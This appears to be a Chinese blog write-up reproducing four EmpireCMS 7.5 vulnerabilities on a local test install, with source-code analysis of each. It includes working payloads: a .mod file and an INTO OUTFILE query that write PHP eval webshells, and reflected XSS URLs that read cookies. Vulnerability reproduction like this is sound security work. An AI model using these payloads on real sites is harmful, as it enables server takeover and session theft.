• 帝国CMS(EmpireCMS)v7.5漏洞分析


    帝国CMS(EmpireCMS)v7.5漏洞分析

    0x01漏洞描述

    本次CVE复现了四个EmpireCMSv7.5的漏洞,在此一并记录下。

    • CVE-2018-18086 后台getshell
    • CVE-2018-19462 代码注入
    • 后台xss
    • 前台xss

    0x02漏洞环境

    所需环境EmpireCMS <= 7.5

    本次漏洞复现所用环境为EmpireCMSv7.5

    EmpireCMS环境下载地址:http://www.phome.net/download/

    0x03环境搭建

    修改php.ini配置文件, PHP环境中必须开启短标签,不然安装会提示无法安装

    short_open_tag = On
    

    这边复现使用的是wamp,重启wampserver

    wamp默认数据库名称为root,密码空

    安装完毕后,删除/e/install文件夹

    登录admin账号,路径http://localhost/EmpireCMS/e/admin/index.php

    0x04漏洞复现

    CVE-2018-18086 后台getshell

    漏洞类型:一句话木马getshell

    漏洞原理:EmpireCMS 7.5版本及之前版本在后台备份数据库时,未对数据库表名做验证,通过修改数据库表名可以实现任意代码执行。EmpireCMS7.5版本中的/e/class/moddofun.php文件的”LoadInMod”函数存在安全漏洞,攻击者可利用该漏洞上传任意文件。

    1.源码分析

    1.1主要漏洞代码位置

    //导入模型
    elseif($enews=="LoadInMod")
    {
    	$file=$_FILES['file']['tmp_name'];
        $file_name=$_FILES['file']['name'];
        $file_type=$_FILES['file']['type'];
        $file_size=$_FILES['file']['size'];
    	LoadInMod($_POST,$file,$file_name,$file_type,$file_size,$logininid,$loginin);
    }
    

    转到LoadInMod定义

    localhost/EmpireCMS/e/class/moddofun.php找到上传文件的定义。

    //上传文件
    	$path=ECMS_PATH."e/data/tmp/mod/uploadm".time().make_password(10).".php";
    	$cp=@move_uploaded_file($file,$path);
    	if(!$cp)
    	{
    		printerror("EmptyLoadInMod","");
    	}
    	DoChmodFile($path);
    	@include($path);
    	UpdateTbDefMod($tid,$tbname,$mid);
    

    1.2文件包含

    上传文件处使用time().makepassword(10)进行加密文件名

    //取得随机数
    function make_password($pw_length){
    	$low_ascii_bound=48;
    	$upper_ascii_bound=122;
    	$notuse=array(58,59,60,61,62,63,64,91,92,93,94,95,96);
    	while($i<$pw_length)
    	{
    		if(PHP_VERSION<'4.2.0')
    		{
    			mt_srand((double)microtime()*1000000);
    		}
    		mt_srand();
    		$randnum=mt_rand($low_ascii_bound,$upper_ascii_bound);
    		if(!in_array($randnum,$notuse))
    		{
    			$password1=$password1.chr($randnum);
    			$i++;
    		}
    	}
    	return $password1;
    }
    

    下方代码@include($path)直接包含文件,因此可以通过添加创建文件的代码绕过。

    2.进入测试

    2.1来到导入系统模型的页面

    image-20201026105219278

    2.2上传一个1.php.mod文件,需要注意$符号需要转义

    <?php file_put_contents("getshell.php","<?php @eval($_POST[LEOGG]); ?>");?>
    

    2.3导入模型成功,看到目录里已经写入shell文件

    image-20201026110341795

    2.4蚁剑连接成功,getshell

    image-20201026110913060

    CVE-2018-19462 代码注入

    漏洞类型:恶意sql语句执行

    漏洞原理:EmpireCMS7.5及之前版本中的admindbDoSql.php文件存在代码注入漏洞。该漏洞源于外部输入数据构造代码段的过程中,网路系统或产品未正确过滤其中的特殊元素。攻击者可利用该漏洞生成非法的代码段,修改网络系统或组件的预期的执行控制流。

    1.源码分析

    1.1主要漏洞代码位置

    执行sql语句处

    image-20201026135817545

    分析源码定位漏洞出现的位置在localhost/EmpireCMS/e/admin/db/DoSql.php,对sqltext进行RepSqlTbpre函数处理

    //运行SQL语句
    function ExecSql($id,$userid,$username){
    	global $empire,$dbtbpre;
    	$id=(int)$id;
    	if(empty($id))
    	{
    		printerror('EmptyExecSqlid','');
    	}
    	$r=$empire->fetch1("select sqltext from {$dbtbpre}enewssql where id='$id'");
    	if(!$r['sqltext'])
    	{
    		printerror('EmptyExecSqlid','');
        }
    	$query=RepSqlTbpre($r['sqltext']);
    	DoRunQuery($query);
    	//操作日志
    	insert_dolog("query=".$query);
    	printerror("DoExecSqlSuccess","ListSql.php".hReturnEcmsHashStrHref2(1));
    }
    

    1.2转到定义RepSqlTbpre,发现只对表的前缀做了替换

    //替换表前缀
    function RepSqlTbpre($sql){
    	global $dbtbpre;
    	$sql=str_replace('[!db.pre!]',$dbtbpre,$sql);
    	return $sql;
    }
    

    1.3转到定义DoRunQuery,对$query进行处理。

    $sql参数只做了去除空格、以;分隔然后遍历,没有做别的限制和过滤,导致可以执行恶意的sql语句

    //运行SQL
    function DoRunQuery($sql){
    	global $empire;
    	$sql=str_replace("
    ","
    ",$sql);
    	$ret=array();
    	$num=0;
    	foreach(explode(";
    ",trim($sql)) as $query)
    	{
    		$queries=explode("
    ",trim($query));
    		foreach($queries as $query)
    		{
    			$ret[$num].=$query[0]=='#'||$query[0].$query[1]=='--'?'':$query;
    		}
    		$num++;
    	}
    	unset($sql);
    	foreach($ret as $query)
    	{
    		$query=trim($query);
    		if($query)
    		{
    			$empire->query($query);
    		}
    	}
    }
    

    2.payload

    2.1用select ... into outfile语句写入php一句话木马

    select '<?php @eval($_POST[LEOGG])?>' into outfile 'E:/Wamp2.5/wamp/www/EmpireCMS/getshell.php'
    

    image-20201026143543445

    语句执行成功,在目录里看到生成的马

    image-20201026142630646

    2.2蚁剑连接

    连接成功,getshell

    image-20201026142954165

    后台xss

    漏洞类型:反射型xss

    漏洞文件:localhost/EmpireCMS/e/admin/openpage/AdminPage.php

    漏洞原理:该漏洞是由于代码只使用htmlspecialchars进行实体编码过滤,而且参数用的是ENT_QUOTES(编码双引号和单引号),还有addslashes函数处理,但是没有对任何恶意关键字进行过滤,从而导致攻击者使用别的关键字进行攻击

    1.源码分析

    1.1主要漏洞代码位置localhost/EmpireCMS/e/admin/openpage/AdminPage.php

    $leftfile=hRepPostStr($_GET['leftfile'],1);
    $mainfile=hRepPostStr($_GET['mainfile'],1);
    

    1.2利用hRepPostStr函数进行过滤,跳转到该函数的定义如下

    function hRepPostStr($val,$ecms=0,$phck=0){
    	if($phck==1)
    	{
    		CkPostStrCharYh($val);
    	}
    	if($ecms==1)
    	{
    		$val=ehtmlspecialchars($val,ENT_QUOTES);
    	}
    	CkPostStrChar($val);
    	$val=AddAddsData($val);
    	return $val;
    }
    

    1.3用ehtmlspecialchars函数进行HTML实体编码过滤,其中ENT_QUOTES - 编码双引号和单引号。

    function ehtmlspecialchars($val,$flags=ENT_COMPAT){
    	global $ecms_config;
    	if(PHP_VERSION>='5.4.0')
    	{
    		if($ecms_config['sets']['pagechar']=='utf-8')
    		{
    			$char='UTF-8';
    		}
    		else
    		{
    			$char='ISO-8859-1';
    		}
    		$val=htmlspecialchars($val,$flags,$char);
    	}
    	else
    	{
    		$val=htmlspecialchars($val,$flags);
    	}
    	return $val;
    }
    

    主要利用htmlspecialchars函数把字符转换为HTML实体

    1.4用CkPostStrChar函数对参数进行处理

    function CkPostStrChar($val){
    	if(substr($val,-1)=="\")
    	{
    		exit();
    	}
    }
    

    获取字符末端第一个开始的字符串为\,则退出函数。

    1.5用AddAddsData函数对参数进行处理

    function AddAddsData($data){
    	if(!MAGIC_QUOTES_GPC)
    	{
    		$data=addslashes($data);
    	}
    	return $data;
    }
    

    如果没有开启MAGIC_QUOTES_GPC,则利用addslashes函数进行转义

    addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。

    1.6网页输出

    然而输出的位置是在iframe标签的src里,这意味着之前的过滤都没有什么卵用。iframe标签可以执行js代码,因此可以利用javascript:alert(/xss/)触发xss

    2.payload

    payload如下:

    http://localhost/EmpireCMS/e/admin/openpage/AdminPage.php?ehash_Cczns=2TWoQiIHxxoEzHD0rZ24&mainfile=javascript:alert(/xss/)
    

    其中ehash是随机生成的,在登录时可以看到ehash_Cczns=2TWoQiIHxxoEzHD0rZ24,如果缺少这个hash值,则会提示非法来源

    触发xss

    获取cookie信息payload

    http://localhost/EmpireCMS/e/admin/openpage/AdminPage.php?ehash_Cczns=2TWoQiIHxxoEzHD0rZ24&mainfile=javascript:alert(document.cookie)
    

    前台xss

    漏洞类型:反射型xss

    漏洞文件:localhost/EmpireCMS/e/ViewImg/index.html

    漏洞原理:url地址经过Request函数处理之后,把url地址中的参数和值部分直接拼接当作a标签的href属性的值和img标签的src标签的值

    1.主要漏洞代码位置localhost/upload/e/ViewImg/index.html

    if(Request("url")!=0){
    	document.write("<a title="点击观看完整的图片..." href=""+Request("url")+"" target="_blank"><img src=""+Request("url")+"" border=0 class="picborder" onmousewheel="return bbimg(this)" onload="if(this.width>screen.width-500)this.style.width=screen.width-500;">");
        }
    

    通过Request函数获取地址栏的url参数,并作为imga标签的src属性和href属性,然后经过document.write输出到页面。

    2.转到request函数定义

    function Request(sName)
    {
    
      /*
       get last loc. of ?
       right: find first loc. of sName
       +2
       retrieve value before next &
      
      */
      
      var sURL = new String(window.location);
      var iQMark= sURL.lastIndexOf('?');
      var iLensName=sName.length;
      
      //retrieve loc. of sName
      var iStart = sURL.indexOf('?' + sName +'=') //limitation 1
      if (iStart==-1)
            {//not found at start
            iStart = sURL.indexOf('&' + sName +'=')//limitation 1
    		if (iStart==-1)
    		   {//not found at end
    		    return 0; //not found
    		   }   
            }
            
      iStart = iStart + + iLensName + 2;
      var iTemp= sURL.indexOf('&',iStart); //next pair start
      if (iTemp ==-1)
    		{//EOF
    		iTemp=sURL.length;
    		}  
      return sURL.slice(iStart,iTemp ) ;
      sURL=null;//destroy String
    }
    

    通过window.location获取当前url地址,根据传入的url参数,获取当前参数的起始位置和结束位置

    3.payload

    url地址经过Request函数处理之后,然后把url地址中的参数和值部分直接拼接当作a标签的href属性的值和img标签的src标签的值

    payload如下:

    http://localhost/upload/e/ViewImg/index.html?url=javascript:alert(document.cookie)
    

    payload解析:

    当浏览器载入一个Javascript URL时,它会执行URL中所包含的Javascript代码,并且使用最后一个Javascript语句或表达式的值,转换为一个字符串,作为新载入的文档的内容显示。

    javascript:伪协议可以和HTML属性一起使用,该属性的值也应该是一个URL。一个超链接的href属性就满足这种条件。当用户点击一个这样的链接,指定的Javascript代码就会执行。在这种情况下,Javascript URL本质上是一个onclick事件句柄的替代。

    点击图片触发xss

    得到cookie信息

    0x05参考文章

    TOPIC URL
    CVE-2018-18086 后台getshell https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-18086
    CVE-2018-19462 代码注入 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-19462
    后台xss https://www.freebuf.com/vuls/176313.html
    前台xss https://www.freebuf.com/vuls/177969.html
  • 相关阅读:
    浏览器刷新缓存机制
    Asp.Net获取IP的方法
    c# 了解委托
    用什么方法来判断字符串是否存在的函数
    怎么样从地址中获得数据?
    新网站如何不被百度查封,请注意以下事项。
    搜索引擎如何抓取网页和如何索引网页?
    什么情况下include_path不起作用?
    用户注册演示程序操作案例
    用户提交的cookie提交时为什么传不到服务器
  • 原文地址:https://www.cnblogs.com/LEOGG321/p/13882655.html
Copyright © 2020-2023  润新知